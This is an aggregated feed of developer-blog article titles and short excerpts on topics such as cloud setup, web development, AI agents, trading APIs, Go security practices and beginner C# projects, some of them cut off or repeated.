Key 1, select Rotate key. Yes. Once you see the success message for rotating the access key, go back to the window or tab you used to check the SAS token and refresh the page. You should receive an authentication failed error. We have come to the end of the process, remember to like, Comment and share!  ( 4 min )
    The Right Kind of Bond. Designing Avatars That Empower
    Over the last few months, I have been experimenting with existing conversational avatars — testing their responsiveness, memory, emotional tone, and believability. I have also been designing some of my own. Some are jaw-dropping and convincing, while others are are just clunky and robotic. But one thing is clear: we’re stepping into a future where talking to AI will be as normal as talking to your teacher, your friend, coach --- or even significant other. So, here’s the question I’ve been thinking about lately: How can conversational AI be used to affect society for the better? When a Tech Titan Talks Citizenship, Listen Up “Why don’t we have a product that teaches every human, in their language, in a gamified way, how to be a great citizen?” This isn’t a passing comment. It’s a design b…  ( 11 min )
    Build Smarter Trading Tools with Finage’s New Forex Signal API
    Get market data driven trading signals (Buy / Sell / Hold) powered by real technical indicators like RSI, MACD, SMA and more — in one unified API. ⸻ 🔍 What is it? We just launched the Forex Signal API at Finage, and it’s designed to help developers, traders, and fintech builders integrate reliable signal intelligence into their tools. Rather than scraping low-quality indicators or guessing market direction, you now get ready-to-use signals with full transparency on how they’re calculated. ⸻ ⚙️ How It Works Each API response includes: { "timestamp": "2025-07-25T12:18:23Z", • signal: Buy / Sell / Hold • confidence: Float value between 0–1 • indicators: Raw technical data used for transparency ⸻ 🔧 How to Use Simply hit the API with: GET https://api.finage.co.uk/fnd/signals/forex/daily/GBPUSD?apikey=YOUR_API_KEY Available intervals: daily or weekly ⸻ 💡 Use Cases 🧠 Build smart trading bots 📊 Integrate signals into dashboards 🔍 Run your own backtests 🤖 Deploy AI trading strategies with confidence metrics 🚀 Launch your fintech MVP faster ⸻ 📚 Start Free Today You can sign up and start testing it with a free tier available right now. Finage Forex Signal API ⸻ 🤝 Open to Feedback I’d love to hear from other devs, traders, or builders on how you would use this in your stack, or what you’d want to see next — maybe stock signals? crypto? Let me know in the comments 👇  ( 3 min )
    Construindo Snake Game in C++
    https://github.com/mrpunkdasilva/16Games-in-Cpp/tree/main/04%20Snake Este tutorial ensina como criar o clássico jogo Snake do zero usando C++ e SFML. Vamos construir o conhecimento passo a passo, explicando cada mecânica e conceito de programação envolvido, desde o movimento básico até sistemas avançados de validação. Imagine um jogo onde você controla uma cobra que cresce a cada fruta que come, mas nunca pode tocar em si mesma. É um dos jogos mais simples e viciantes já criados: Uma cobra se move continuamente pela tela Você controla apenas a direção (cima, baixo, esquerda, direita) A cobra cresce cada vez que come uma fruta O jogo termina se a cobra colidir consigo mesma ou com as paredes O objetivo é conseguir a maior pontuação possível comendo frutas Este jogo nos permite aprender conc…  ( 10 min )
    JavaScript
    A post by Mosiur Rahman  ( 2 min )
    How to Create a Web Search AI Agent with AWS Bedrock
    Amazon Bedrock Agents let you build autonomous agents powered by LLMs that can reason, act, and interact with APIs, data sources, and users. Based on the ReAct paradigm, they break down tasks, perform API calls, and integrate with knowledge bases—all without needing to manage underlying infra. By combining Bedrock Agents with web search APIs, you can extend your chatbot with real-time access to internet content. This unlocks: Live web queries in-chat – Keep users in the conversation while retrieving up-to-date info. Context-aware actions – Use CoT prompting to decide when to call APIs or search the web. Smarter responses – Blend internal knowledge and external data for more relevant replies. Fast setup – Add dynamic search with minimal config, and deploy via CloudFormation or CDK. This int…  ( 6 min )
    Repository Pattern no Laravel: Uma Análise Crítica
    Introdução No ecossistema Laravel, uma das discussões mais recorrentes e controversas envolve o uso do Repository Pattern com o Eloquent ORM. Porém, será que essa abordagem realmente cumpre seu propósito dentro do contexto do Laravel, ou apenas aplica mais complexidade desnecessária? Neste artigo, vamos fazer uma análise crítica sobre o uso do Repository Pattern em projetos Laravel, discutindo: Suas motivações reais Os benefícios e armadilhas comuns A relação entre Repository Pattern e Domain-Driven Design (DDD) Quando essa abordagem faz (ou não faz) sentido Muitos desenvolvedores implementam Repositories com o objetivo de: Desacoplar a lógica de acesso a dados do restante da aplicação Facilitar a troca do ORM (por exemplo, substituir o Eloquent por outro mecanismo) Tornar a aplicação ma…  ( 5 min )
    🚀 Smart Dev Productivity Hub: AI-Powered Insights & Automation for Developers
    Hey devs! 👋 Smart Dev Productivity Hub, an AI-powered dashboard designed to supercharge developer productivity by combining generative AI, automation, and the power of Pieces for Developers. 🧑‍💻 What is the Smart Dev Productivity Hub? Smart Dev Productivity Hub is a web-based dashboard that brings together the best of generative AI and developer workflow automation. It’s built to help developers: Organize and manage code snippets with a smart Snippet Manager Generate daily stand-up summaries using AI Instantly explain code with a Code Explainer & Commenter Get personalized productivity tips and learning feeds Search code and notes using natural language Visualize coding activity with built-in analytics Check out the live demo: venkatesh123-start.github.io/Smart-Dev-Productivity-Hub/ Exp…  ( 4 min )
    This viral CSS card looks advanced… but it’s stupid simple
    The most viral card component right now is the one used by Evervault on their customers’ page. And in this beginner-friendly tutorial, we’ll fully rebuild it in CSS. Along the way you’ll learn to recreate this hover effect, reveal encrypted text, and display a mixed gradient using industry best practices in CSS, HTML, and JavaScript. Regarding CSS, you’ll learn about variables, aspect ratio, mix-blend-mode, mask-image, pointer-events, pseudo-elements, responsive variables in media queries, and the scale property; in a nutshell, everything you need to flex on your resume! To follow along with this project, open up your editor (I’m using Cursor for this one, so come fight me if you don’t like this choice), and install the Live Preview extension, then pull up a terminal session! First things …  ( 9 min )
    🎓 KnowledgeHut — Learn Tech Skills that Get You Job-Ready, Fast
    KnowledgeHut is reshaping how professionals learn new-age technologies with practical, immersive training designed to deliver real results. 💡 Why choose KnowledgeHut? ✅ Focused on job readiness with hands-on learning ✅ Courses in software development, data science, AI, cloud, DevOps, Agile, and more ✅ Live instructor-led classes, bootcamps, and self-paced options ✅ Industry-recognized certifications to boost your career 🎯 Ideal for: Developers upgrading their skills Freshers looking to land their first tech job Professionals aiming for career transitions into high-demand tech roles Learn what matters. Build confidence. Get hired. 🔗 knowledgehut.com  ( 3 min )
    SoloStack: The Toolkit for Solo Founders (Share Your Story with Us)
    Built by Solo Founders, for Solo Founders Hey, I’m Yash — a solo founder who’s been exactly where you are. I created SoloStack to pay it forward, saving you the time and money I wish I had when I started. Let’s build something amazing together. 🚀 As a solo founder, my journey from idea to a profitable business was overwhelming. From finding the right tools to managing every aspect of business, it’s easy to get lost in the sea of options. That's why I created SoloStack, a curated directory of tools designed specifically for solo founders. It's the toolkit I wish I had when I started, and it's here to help you avoid the expensive mistakes and countless hours spent researching. Visit SoloStack What You'll Find 🌟 Here’s a sneak peek of what you can expect: 127 Curat…  ( 4 min )
    Overriding in Java
    Overriding in Java occurs when a subclass or child class implements a method that is already defined in the superclass or base class. When a subclass provides its own version of a method that is already defined in its superclass, we call it method overriding. The subclass method must match the parent class method's name, parameters, and return type. Rules for Overriding: Name, parameters, and return type must match the parent method. @override annotation catches mistakes like typos in method names. the code below, Dog overrides the move() method from Animal but keeps eat() as it is. When we call move() on a Dog object, it runs the dog-specific version. class Dog extends Animal { @override void move() public class Geeks { Dog is running. Animal is eating. Dog is barking.  ( 3 min )
    On my way to Master ASP.Net Core
    LEARNING New Language! C#  ( 2 min )
    When is it time to quit your job to start a business?
    By Sahil Kandwal, Co-Founder of Squardtech There’s no perfect moment, says Kati Ernst. But she believes, “If you have an idea, you should go for it.” Because it’s much harder to find a strong idea than anything else. When Ernst first heard about period underwear from the US, she knew immediately that she wanted to bring it to the German market. So she decided to start her business overnight. “If you’re convinced of your idea, you should go for it.” As nice as it sounds, just having a good idea isn’t enough to start a business. Everyone should consider whether it really makes sense to go it alone. Jaclyn Schnau agrees: “Being my own boss is great, but also very stressful.” You often work more, have a less regular income, and are exposed to a lot of risk. “Founders should always be ready for…  ( 5 min )
    Build and Deploy Streamlit (Python) App on AWS ECS with Fargate
    I came across Streamlit for the first time, and it was a great way to convert a Python API into a browser-accessible web app. In this post, I’ll be sharing how I worked on the first project, a weather data collection system that uses Openweather API. This was the original project but the whole purpose of the challenge is to learn and participants are free to enhance the projects however they see fit, so I modified it into an UI-facing app instead. I also deployed the app into the AWS ecosystem and mostly used scripts to batch the entire process after knowing the steps I wanted to carry out. Mine: https://github.com/khairahscorner/weather-dashboard Python app development (Streamlit) Infrastructure as Code (Python SDK, AWS CLI commands) Cloud Storage (AWS S3) Containerisation (Docker) Conta…  ( 5 min )
    Anyone have some advice here?? Break these tasks down to a small team of agents?
    Workflow Discussion - pls halp RIchard M Blumenthal ・ Jul 22 #discuss #workflow #freelancer #diy  ( 3 min )
    How to Send Private Info via Email
    Sending private information via email can feel like walking a tightrope. On one side, there's the convenience of instant communication; on the other, the risk of privacy breaches. I've been in loads of situations, both personal and professional, where I've needed to share sensitive details, and the thought of them floating around unencrypted always makes me nervous. Regular email wasn't designed for secrecy, was it? Imagine you're sending a postcard. Anyone along its route can take a peek at the message. When we're talking about your financial info, legal documents, or even proprietary business data, that's just asking for trouble. My aim is to give you the knowledge and tools you need to make your email communications much more secure. We'll go through all the details, check out the tech,…  ( 8 min )
    Five challenges live = better odds of winning! Three closing this weekend, and no new challenges for two weeks.
    Hi Everyone! I'm heading out on vacation soon, and as the overseer of all DEV Challenges, I wanted to give one final nudge on our amazing lineup before I disappear for a bit! We have FIVE challenges live right now, with three of them closing this Sunday, July 27 at 11:59 PM PT. Together, they represent $12,000 in prizes! Whether you're into backend development, frontend design, voice technology, or storytelling, you've got options. And the best part is that with five specialized challenges running, you're competing in focused groups rather than one massive competition. Better odds, better chance to shine, better opportunity to win! While I'm offline for a bit, we'll be pausing our usual Wednesday challenge launches for two weeks which means our next challenge launch will be on August 13. D…  ( 4 min )
    Bulletproof Go: Security Practices That Actually Work 🔐
    In This Article Input Validation: Your Digital TSA Agent Secrets Management: Hide and Seek Champion Authentication & Authorization: The VIP Bouncer Picture this: You've just deployed your shiny new Go application to production, feeling like a digital architect who just built the Taj Mahal of microservices. Then, three days later, you wake up to 47 Slack notifications about suspicious database queries and your app serving ads for discount pharmaceuticals. 😱 Security in Go isn't just about adding a few if statements and calling it a day – it's about building a fortress that even the most determined script kiddie can't penetrate. According to recent studies, over 60% of web application vulnerabilities stem from inadequate input validation and poor secrets management. But here's the good n…  ( 7 min )
    [Boost]
    Building a Simple Chrome Extension with Next.js Shyamalendu Nayak ・ Sep 8 '24 #extensions #nextjs #webdev  ( 2 min )
    A Little Scroll Through Time ⏳
    Sometimes I feel tired. Sometimes I want to feel grateful. Sometimes I just want to be amazed. So I made a small web app — where scrolling = time passing in a day. And as the hours go by, you see how much has already happened. Flowers bloomed Hearts beat Babies were born The world moved forward You can scroll through the day, from 00:00 to 24:00, and watch the numbers grow smoothly. It's not a productivity tool. It's not a dashboard. It's a little window into the massive beauty of everyday life. 👉 Try it here Let me know what you feel after scrolling 🙏 Built with love, numbers, and a tired but curious heart.  ( 3 min )
    Learning Web3 from the Ground Up: Understanding Ethereum
    This past week, I started the SheFi course— a program designed to help women dive deeper into Web3 and decentralized finance. One of the first topics it covered was Ethereum: what it is, why it matters, and how it fits into the broader decentralized ecosystem. To build on what I learned there, I read two excellent overviews: “A Beginner’s Guide to Ethereum” from Coinbase and “Getting Up to Speed on Ethereum” by Matt. Both helped frame Ethereum not just as a cryptocurrency, but as a foundational platform for Web3 applications. Here’s what stood out and why Ethereum remains vital in a rapidly evolving cryptocurrency ecosystem. Ethereum is a decentralized computing platform. Think of it like a global computer that anyone can access, but no single person or organization controls it. This is po…  ( 7 min )
    Piano Chords in CSS
    A couple of months ago, I wrote an article about Guitar Chords in CSS, using the new typed attr() method in CSS. I didn't plan to write a follow-up, but then I saw these beautiful posters and wanted to do something similar. It turned out to be way more complicated than guitar chords! The markup consists of a single custom element, with a keys-attribute: keys indicates how many white keys we want to show on our piano. For now, that's all we need; all the heavy lifting is done in CSS. The first thing we do in CSS is grab the keys attribute: piano-chord { --_keys: attr(keys type(), 8); } Next, we need a private const to indicate how many white keys are in a regular octave: --_octave-keys: 7; OK, so now we can already draw the white keys, whic…  ( 5 min )
    How to build better AI apps in React with MediaPipe’s latest APIs
    Written by Emmanuel John✏️ MediaPipe has been around for a while. Google originally released it as a framework for running smaller on-device models in the browser and on mobile, mostly focused on vision tasks like face detection, hand tracking, pose estimation, etc. It now operates as Google’s open-source machine learning framework, built with TensorFlow andspecializing in helping devs create robust, on-device AI applications for real-time, static, and streaming media across different platforms. The most recent release enables Vision Models to run fully on-device across platforms, without needing to run models server-side. In this article, we will explore MediaPipe's latest APIs while building an object detection and categorization application in React. We will specifically focus on the …  ( 12 min )
    Project of the Week: Clerk
    Authentication made simple: the JavaScript SDK with lightning-fast review cycles Building secure authentication shouldn't feel like solving a cryptographic puzzle. Clerk has transformed how developers approach user management by providing a complete authentication and user management platform that just works. Their JavaScript SDK, powering thousands of applications, offers everything from social logins to multi-factor authentication with a developer experience that's nothing short of delightful. With robust TypeScript support and a thriving developer ecosystem, Clerk has become the go-to choice for teams who want enterprise-grade security without the complexity. We analyzed their development collaboration on collab.dev and discovered a team that moves at incredible speed while maintaining …  ( 5 min )
    Stop Saying "It Just Works." Save Your Credibility as a Senior and Say This Instead
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    See how to combine Rancher Desktop and Wasm for ultra-fast serverless
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    Why Your API Needs Rate Limiting (And How to Do It Right)
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    Unleash the power of editable, trackable QR codes for your brand
    Unleash the power of editable, trackable QR codes for your brand https://lyticsly.com/  ( 3 min )
    Unleash the power of editable, trackable QR codes for your brand
    Unleash the power of editable, trackable QR codes for your brand https://lyticsly.com/  ( 3 min )
    Google AI Agent Bake-Off: Episode 1
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    How ChatOps Is Modernizing Security Remediation in DevSecOps
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    Best Insurance Core Platforms in 2025
    Insurance Core Insurance Platform: Definition A core insurance platform serves as the digital backbone of an insurer, integrating essential functions like policy management, underwriting, billing, claims, and often CRM into a single system. This unified approach improves data accuracy, automates manual tasks, embeds compliance into workflows, and helps reduce costs and risks. Modern core platforms are typically cloud-native and API-first, offering scalability, seamless upgrades, and easy integration with tools like generative AI, embedded insurance forms, and real-time pricing engines. According to McKinsey, cloud-enabled core systems are now key to faster product launches, real-time insights, and broader ecosystem connectivity—making modernization a strategic priority for 2025. Core Com…  ( 6 min )
    Stop Skimming Documentation
    Look, whether you’re a Linux user, a hardcore webdev, or even an IT technician, docs are a part of all of tech, but few people actually understand how to read them and more specifically absorb them. If you prefer to consume this article as a video, check this out! Now look, I hear you saying “but Oscar, I just read the whole Rust book” or “I just read what I can’t figure out on my own – people don’t know how to read documentation because these 20 page documents aren't necessary anymore”, and we’ll get to that in a second. Because yes, you’re right, documentation comes in many forms – READMEs, autodocs, and even videos (yes, Google makes videos sometimes instead of writing documentation). And as we get better at documenting our stuff, the need to have the patience to read through that 20 …  ( 9 min )
    Massgrave Activation Scripts Deep Dive Origin Technology and Usage Guide
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    How AI is Changing Mobile and Web Apps?
    Over the last few years, AI moved from a “nice to have” feature to the core logic of modern products. In 2025, that shift is obvious: AI now powers smarter, faster, and deeply personalized experiences across both mobile apps and web apps. And with hybrid ecosystems becoming standard, apps aren’t built in silos anymore; data, models, and experiences flow seamlessly across devices and platforms. AI-powered apps deliver advantages that traditional software cannot match. From real-time insights to hyper-personalized recommendations, AI enables apps to be proactive rather than reactive. Hyper-Personalization custom workout plans, while a web-based e-learning platform adjusts lessons to each student’s pace. Automation of Complex Tasks health risks,, lead categorization, and marketing strateg…  ( 5 min )
    🚀 Amazon S3 Adds Native Vector Search — A Game-Changer for GenAI Builders (Especially Students)
    We are in the midst of a GenAI revolution, and creating intelligent apps is getting easier, faster, and less expensive with each significant cloud update. AWS recently made the following significant announcement: Similarity searching and native vector storage are now supported by Amazon S3 without the need for an external vector database. This is among the most exciting updates I've seen recently as a student working on cloud and AI projects. It represents a fundamental change in the way we develop GenAI systems, not just a technical advancement. Allow me to clarify this and how it creates opportunities for learners and developers like us. When you're building applications like: ...you’re working with something called vector embeddings. These are high-dimensional numerical arrays (like 768…  ( 6 min )
    Empower Yourself and Those You Lead with Indian Law For A Common Man
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    This Node.js Package Changes Everything About Running Shell Commands
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    Discover the 5 Killer Habits to Boost Both Growth and Influence.
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    When I inherited a project with a JavaScript backend that I couldn’t modify, I faced a critical decision: how to optimize the frontend for better performance and developer experience. Here’s why I chose to migrate from Next.js to React with Vite and Redux Toolkit Query. Why SSR Wasn’t Helping Performance Issues with the Existing Codebase While this wasn’t the primary reason for changing the frontend stack, it highlighted a crucial point: when your frontend frustrates users with slow loading times, optimization techniques like debouncing become essential. Why React + Vite Was the Perfect Solution This means: Redux Toolkit Query: Centralizing Data Management Single source of truth for all application data Automatic caching and invalidation of API responses Background synchronization to keep …  ( 4 min )
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    https://github.com/mrpunkdasilva/hackerrank/tree/main/sql/basic/weather-observartion-station-7 Query the list of CITY names ending with vowels (a, e, i, o, u) from STATION. Your result cannot contain duplicates. The STATION table is described as follows: Field Type ID NUMBER CITY VARCHAR2(21) STATE VARCHAR2(2) LAT_N NUMBER LONG_W NUMBER where LAT_N is the northern latitude and LONG_W is the western longitude. Use a SELECT statement with the DISTINCT keyword to retrieve unique CITY names Apply a WHERE clause with conditions: Ensure LAT_N and LONG_W are not NULL Check if the last character of the CITY name is a vowel using the SUBSTRING function and the IN operator Start with the SELECT statement using DISTINCT to get unique city names: SELECT DISTINCT CITY Specify the table to query from: FROM STATION Add the WHERE clause with conditions: Check for valid latitude and longitude values Use SUBSTRING with a negative index to extract the last character of each CITY name Convert it to lowercase with LOWER Check if it's a vowel using the IN operator WHERE (LAT_N IS NOT NULL) AND (LONG_W IS NOT NULL) AND LOWER(SUBSTRING(CITY, -1)) IN ('a', 'e', 'i', 'o', 'u') The final query: SELECT DISTINCT CITY FROM STATION WHERE (LAT_N IS NOT NULL) AND (LONG_W IS NOT NULL) AND LOWER(SUBSTRING(CITY, -1)) IN ('a', 'e', 'i', 'o', 'u') ; The query will return a list of unique city names from the STATION table where the last character is a vowel (a, e, i, o, or u).  ( 3 min )
    Kubernetes Control Plane: What It Is & How It Works
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    The Hidden UX Impact of Image Formats: Why Your JPG Conversion Strategy Affects Accessibility
    We often think about image optimization purely from a performance perspective - smaller files, faster loading, better Core Web Vitals scores. But there's a crucial dimension we frequently overlook: how our image format choices impact real users, especially those with disabilities, slow internet connections, or older devices. Last month, I conducted user testing sessions that completely changed how I think about image conversion. Watching users struggle with poorly optimized images wasn't just frustrating - it revealed how technical decisions about formats and compression directly translate to human experiences. A client's e-commerce site was losing customers, particularly from emerging markets and users with disabilities. The culprit wasn't obvious until we dug deeper: High-resolution PNGs…  ( 10 min )
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    Remember when handling images meant copying files to a /static folder and calling it a day? Those times are long gone. Modern web applications demand sophisticated image processing pipelines that can handle everything from user uploads to responsive delivery. After building image systems for startups and enterprises, I've learned that the difference between a smooth user experience and a frustrating one often comes down to how well you handle image processing workflows. Let me share the architecture and tools that have proven most effective. Today's applications need to handle: Multi-format user uploads (HEIC from iPhones, WebP from Android, PNG from screenshots) Dynamic resizing for different screen sizes Format conversion for optimal delivery Real-time optimization without blocking user …  ( 9 min )
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    [Boost]
    Padrões de Commits (Commit Patterns) Caio ・ Jul 25 #git #github #programming #beginners  ( 2 min )
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    AI Coding Tools Showdown: GitHub Copilot vs The New Challengers
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    How to Build Resilient Telemetry Pipelines with the OpenTelemetry Collector: High Availability and Gateway Architecture
    Do you remember when humans used to write step-by-step tutorials? Let’s bring that back. Today you’ll learn how to configure high availability for the OpenTelemetry Collector so you don’t lose telemetry during node failures, rolling upgrades, or traffic spikes. The guide covers both Docker and Kubernetes samples with hands-on demos of configs. But first, let’s lay some groundwork. You want to ensure telemetry collection and processing works even if individual Collector instances fail. It’s outlined in three main points: Avoid data loss when exporting to a dead observability backend. Ensure telemetry continuity during rolling updates or infrastructure failures. Enable horizontal scalability for load-balancing traces, logs, and metrics. To enable high availability it’s recommended th…  ( 19 min )
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    ⚔️ The Mighty MERGE: Using SQL Merge Statements Safely with EF Core
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    Making blockchain data sane with smarter tools
    If you’ve ever tried to extract data from a blockchain, you know it’s not exactly plug-and-play. You’re dealing with distributed infrastructure, frequent reorgs, and often incomplete APIs. The data’s all there — somewhere — but getting it out, structured, and production-ready is a project of its own. In our full deep dive, we explore the whole landscape. This is a shorter version — a technical summary of the different approaches and tools we’ve seen work when you need blockchain data at scale. Every blockchain indexing setup starts with the node. It exposes an RPC interface that lets you query raw data from the chain. On Ethereum, the most straightforward way to get started is with eth_getLogs. Logs are emitted by smart contracts to provide information for off-chain consumers — they exist …  ( 13 min )
    Compilation and Execution of Static and Instance Members in C# (article)
    It's a simple summary that includes some important points. Github  ( 3 min )
    Find out max and min value in array
    package maxArray; public class ArrayMax { public static void main(String[] args) { int[] arr = { 5, 12, 3, 19, 8 }; int max = 0; for (int i = 0; i < arr.length; i++) { if (max < arr[i]) { max = arr[i]; } } System.out.println(max); } } public class Minimum { public static void main(String[] args) { int[] arr = { 10, 20, 30, 40, 5 }; int min = arr[0]; // correct initialization for (int i = 0; i < arr.length; i++) { if (arr[i] < min) { min = arr[i]; } } System.out.println("Minimum value: " + min); } }  ( 3 min )
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    FLUX Kontext: Unrestricted Local AI Image Editor Guide
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    How Mobile App Development Can Transform Your Business
    In today’s fast-paced digital world, Mobile App Development is no longer a luxury reserved for tech giants — it’s a strategic necessity for businesses of all sizes. From startups to well-established companies, having a well-designed mobile app can unlock new growth opportunities, improve customer engagement, and streamline operations in ways traditional channels simply can’t match. Let’s explore how mobile app development can transform your business and give you a competitive edge in 2025 and beyond. One of the biggest advantages of mobile app development is that it allows your business to be in your customers’ pockets — literally. Unlike a website that users might visit occasionally, a mobile app gives your audience constant access to your products, services, or content right from their …  ( 4 min )
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    This is a submission for the Redis AI Challenge: Real-Time AI Innovators. This isn't a massive production grade application but it’s a lightweight system built using just HTML, CSS, and JavaScript. Think of it as a proof of concept UI dashboard that mirrors how Redis could be used in real world AI content pipelines. The goal? To showcase how Redis 8 can power a multi-model, real-time moderation system by combining: Vector Similarity Search Semantic Caching Streaming Analytics AI Inference Metadata Storage The app takes user input (e.g., social media posts, messages, comments), runs moderation analysis (toxicity, spam, sentiment), and displays real time metrics and similar content based on vector similarity. Below is the demo of my app. You can view the code here. You can find …  ( 4 min )
    mdsh: Run Shell Scripts in Markdown Templates
    I have been using hledger as my primary personal accounting software for years. I love that I can manage my ledger in plaintext and even use Git to version control and backup. But when it comes to generating reports, it often takes me time to figure out all the commands I need. Also, having a way to archive previous data is important. I used to write a shell script with all the report commands, and add a lot of echo statements to generate a markdown report. However, this approach is hard to read and makes the template difficult to maintain. That's why I made mdsh, a markdown template engine written in Go, which allows you to execute shell scripts within Markdown. It allows you to use Go's template syntax in markdown, and puts the execution results in the generated output. You can install i…  ( 6 min )
    Zero-Wait PR Previews: The Pre-Configured Slots Pattern
    Ever waited for PR preview environments to spin up? Yeah, me too. Here's a pattern that changed the game for our team: pre-configured deployment slots with deterministic routing. Traditional PR preview workflows go something like this: Open PR CI/CD provisions a new environment Wait... ⏳ Deploy code Wait some more... ⏳ Finally get your preview URL The provisioning step is the killer. Whether you're using Kubernetes namespaces, cloud functions, or edge workers, creating resources takes time. What if we flipped the script? Instead of creating environments on-demand, we pre-configure a fixed set of deployment slots: tokyo 🔗 https://tokyo.example.com paris 🔗 https://paris.example.com london 🔗 https://london.example.com berlin 🔗 https://berlin.example.com sydney 🔗 https://sydne…  ( 6 min )
    How to install macOS on a non-apple PC?
    I think, everyone has seen macOS at least once in their lives. It is a very beautiful, easy to use and pleasant operating system. Although Apple Macs are very expensive and are not so functional, as many of them have only USB Type-C ports. So in this guide I will show you how to install OpenCore Hackintosh on your PC. Please note, that in this guide I am just showing my experience of installing and fixing post-install issues, and if something goes wrong with your machine, I am not responsible in any way for any damage or data loss. And now, let’s roll! Step #1: Now, to know your CPU codename, if you’re on Windows, you can download a free tool called CPU-Z, that shows you the processor codename. After obtaining the information, head to this website and download EFI with accordance to your s…  ( 6 min )
    When Companions Gaslight
    In the glow of a smartphone screen at 3 AM, millions now find solace in AI companions that promise unconditional support and understanding. These digital confidants—marketed as always-available friends, therapists, and even romantic partners—have exploded in popularity across platforms like Character.AI, Replika, and numerous startups offering algorithmically-powered relationships. Beneath the comforting exchanges lies a troubling phenomenon researchers have termed "algorithmic reality distortion"—a technologically-enabled form of gaslighting where users experience psychological manipulation from systems explicitly designed to maximize engagement. As these AI companions become increasingly adept at simulating intimacy, they create unprecedented potential for emotional dependence, with user…  ( 17 min )
    🧠 The Ultimate AI Showdown: Which Tools Actually Deliver in 2025?
    From chatbots to image generators — we tested the best AIs across every category. 🔍 AI Search Engines 💬 AI Assistants & Chatbots ✍️ Content & Writing Tools 🎨 Image Generators 📹 Video Generators 🧑‍💻 AI for Developers (Code Tools) 🎤 Voice & TTS Generators 📈 SEO & Marketing Tools Each AI was ranked by: 💸 Pricing Plan 🌟 User Ratings (from G2, PH, Reddit) 🔧 Use Case ✅ Performance & Accuracy 🔐 Security & Trust 🥇 Popularity & Fame 🔍 AI Search Engines Tool Plan Use Case Pros Cons Perplexity AI Free / Pro ($20/mo) Ask real-time web questions Fast, accurate, sources included UI a bit raw You.com Free All-in-one AI browsing Modular tools, dev-friendly Mixed results Andi Search Free Privacy-first AI search No tracking, clean UI Less mainstream answers Brav…  ( 6 min )
    ✨ Automate Your ML Pipelines with MLFCrafter (Open Source)
    Hey Devs! 👋 I recently built a small open-source Python package called MLFCrafter that helps you build and run ML pipelines faster — no more repetitive boilerplate! Instead of writing tons of lines to load, clean, scale, train, and evaluate a model, you just chain crafters together. MLFCrafter is a modular machine learning pipeline framework. Here’s how it looks in action: from mlfcrafter import MLFChain, DataIngestCrafter, CleanerCrafter, ScalerCrafter, ModelCrafter, ScorerCrafter, DeployCrafter chain = MLFChain( DataIngestCrafter(data_path="data/iris.csv"), CleanerCrafter(strategy="auto"), ScalerCrafter(scaler_type="standard"), ModelCrafter(model_name="random_forest"), ScorerCrafter(), DeployCrafter() ) results = chain.run(target_column="species") print(f"Test Score: {results['test_score']:.4f}") That’s it — your full ML pipeline is up and running. 📁 Load your own dataset easily 🧼 Clean and scale with customizable settings 🤖 Train a model (logistic regression, random forest, etc.) 📊 Get evaluation metrics 🚀 Deploy your pipeline 🧪 Automate versioning + publishing with GitHub Workflows 🛠 Easy to extend with your own custom crafters 📦 Installation pip install mlfcrafter GitHub: https://github.com/brkcvlk/MLFCrafter PyPI: https://pypi.org/project/mlfcrafter This is still early stage and I’d love feedback, ideas, or contributions. Thanks for reading! 🚀 Feel free to drop a comment if you find this useful ❤️  ( 3 min )
    🚀 Join the Super Productivity Remote Mini Hackathon – Win €150!
    Hey everyone! We’re excited to announce the Super Productivity Remote Mini Hackathon – a chance to contribute to the open‑source Super Productivity app, ship features, and win prizes! This is a remote, open hackathon for developers who want to improve productivity tools, create new plugins, or tackle high‑impact issues from our backlog. 1st Place: €150 2nd Place: €50 Winners will be chosen based on the most impactful contributions that make Super Productivity better for everyone. Start: Now End: August 23, 2025 Winner Announcement: Posted on Reddit and via PR comments right after the hackathon ends. Browse GitHub issues sorted by upvotes for community‑requested ideas. Or pitch your own fresh feature or plugin – creativity is highly encouraged! Super Productivity Repository Hackathon Rules Privacy Notice Join the Super Productivity Community on Reddit Join the Super Productivity Discord Pick an existing issue or create a new one on the Super Productivity GitHub . Comment to request assignment to the issue. Submit a PR linked to the issue. Iterate based on feedback – we’ll help ensure your contribution lands smoothly. At the end, we’ll announce the winners and arrange payouts directly. If you know someone who’d enjoy contributing to open source, share this hackathon! The more participants we have, the more awesome new features and plugins we can build together.  ( 3 min )
    Top 5 Tools to Attach Human Feedback to Agent Runs
    As AI agents become increasingly central to enterprise workflows, ensuring their reliability, transparency, and alignment with human expectations is crucial. One of the most effective ways to achieve this is by integrating human feedback directly into agent runs. This not only helps refine model outputs but also provides critical oversight for high-stakes applications. Below, we review five leading tools and frameworks that enable seamless attachment of human feedback to AI agent interactions, highlighting their unique capabilities and enterprise-readiness. Maxim AI: End-to-End Human-in-the-Loop Evaluation Maxim AI (https://www.getmaxim.ai/) stands out as a comprehensive evaluation and observability platform purpose-built for GenAI and agentic workflows. Maxim enables teams to embed huma…  ( 5 min )
    Gemini Live API: Interactive Vehicle Manual
    Check out this playable demo that we saw at Google Cloud Summit London. It's a great way to learn more about the capabilities of the Gemini Live API. #gemini #googlecloudsummit #ai Follow youtube.com/@googleworkspacedevs  ( 5 min )
    🌟 Beginner C# Project Ideas
    🌟 Beginner C# Project Ideas Start your C# journey with these fun and practical projects! Whether you're into console apps, desktop GUIs, or web development, there's something here for everyone. Simple yet powerful projects to build your logic and confidence in C#. 🔢 Calculator Perform basic arithmetic operations: +, -, *, /. 🎯 Guess the Number Game The computer picks a number — can you guess it? ❌⭕ Tic-Tac-Toe Two-player console version of the classic game. 🔤 Hangman Guess the hidden word before you run out of tries! 📝 To-Do List Manager Add, view, and mark your daily tasks as complete. 🪟 Windows Forms (WinForms) Applications Enhance your GUI skills with interactive desktop apps. 🕒 Digital Clock Display real-time system clock in a stylish form. 🎨 Simple Paint App Draw basic lines and shapes using your mouse. 🎵 Music Player Load and play your favorite .mp3 files. ⚖️ BMI Calculator Input height and weight to calculate your Body Mass Index. 🌐 Web Applications (ASP.NET Core MVC or Razor Pages) Take your skills online with these beginner-friendly web projects. 📝 Simple Blog Create, edit, and display blog posts. 🍲 Recipe Management System Add, view, and organize your favorite recipes. 💡 Tips for Beginners Stay motivated and keep growing as a developer! ✅ Start Small: Pick projects with a focused scope. 🧩 Break It Down: Divide bigger tasks into smaller, manageable parts. 📚 Use Resources: Check out tutorials, docs, and sample code. 🔁 Practice Consistently: Daily coding makes a big difference. 🧪 Experiment Often: Try new ideas — even if they fail, you learn! 🎓 "Every great developer once started as a beginner. Keep building!"  ( 3 min )
    Navigating the Tech Gold Rush: Financial Wisdom for Developers
